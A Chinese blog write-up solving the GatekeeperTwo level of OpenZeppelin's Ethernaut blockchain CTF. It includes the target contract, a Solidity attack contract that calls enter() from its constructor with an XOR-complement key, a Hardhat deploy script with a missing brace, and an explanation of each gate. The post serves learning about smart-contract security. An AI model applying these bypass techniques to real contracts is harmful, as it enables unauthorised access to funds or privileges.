Openzeppelin区块链CTF练习——答案和解析【15】GataKeeperTwo

Openzeppelin区块链CTF练习——答案和解析【15】GataKeeperTwo

openzeppelin出的CTF练习题https://ethernaut.openzeppelin.com/level/0x0C791D1923c738AC8c4ACFD0A60382eE5FF08a23

一、题目

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(
            uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^
                uint64(_gateKey) ==
                type(uint64).max
        );
        _;
    }

    function enter(
        bytes8 _gateKey
    ) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

二、答案 ——解析在最后

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "hardhat/console.sol";

contract GatakeeperTwo_Attack {
    bytes8 rightKey;

    constructor() setKey {
        address bugAddress = 0x4B7b6f4CDcA0EF8dcD145525C704469E2019b76D;//填自己的Instance address
        console.log("Attack address this", address(this));
        bool success;
        (success, ) = bugAddress.call(
            abi.encodeWithSignature("enter(bytes8)", rightKey)
        );
    }

    modifier setKey() {
        uint64 msgHash = uint64(
            bytes8(keccak256(abi.encodePacked(address(this))))
        );
        uint64 _gateKey = ~msgHash & type(uint64).max;
        if (
            uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^
                uint64(_gateKey) ==
            type(uint64).max
        ) {
            rightKey = bytes8(_gateKey);
            console.log("key right!~~~~");
            _;
        }
    }

js运行脚本

const { ethers } = require("hardhat");

// 主部署函数。
async function main() {
  //从 ethers 提供的 signers 中获取签名者。
  const [deployer, account2] = await ethers.getSigners();
  console.log(`使用账户部署合约: ${deployer.address}`);
  //部署攻击合约,同时进行攻击
  const attackFactory = await ethers.getContractFactory("GatakeeperTwo_Attack");
  const attack = await attackFactory.deploy();
  const attackAddress = await attack.getAddress();
  console.log(`Attack 合约 部署在 ${attackAddress}`);

// 执行主函数并处理可能的结果。
main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

在这里插入图片描述

三、解析

第一关 需要msg.sender(:此函数的调用者)不能是tx.origin(:最初发起交易的外部账户地址)

解决方法: 因此我们需要通过合约地址去调用 enter() 函数。

第二关

extcodesize(caller()) 是EVM 操作码,作用是检查caller()的代码大小
如果调用者是一个 外部账户(EOA),extcodesize(caller()) 将返回 0。
如果调用者是一个 合约地址,则返回该合约的字节码大小。
解决方法:使用账户地址调用 enter() 函数。但是很明显这与第一关冲突了。然而,合约在构造函数执行期间,extcodesize(caller()) 也会返回 0,因为合约代码尚未部署。因此最终的解决方法是在另一个攻击合约的构造器中调用 enter() 函数
在这里插入图片描述

第三关

要求调用者的地址 (msg.sender) 生成的哈希值(取前 8 字节)与 _gateKey 进行按位异或(XOR)运算,结果必须等于 uint64 的最大值(type(uint64).max)。
解决方法:_gateKey = msg.sender哈希值的反码,就可以等于uint64Max。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值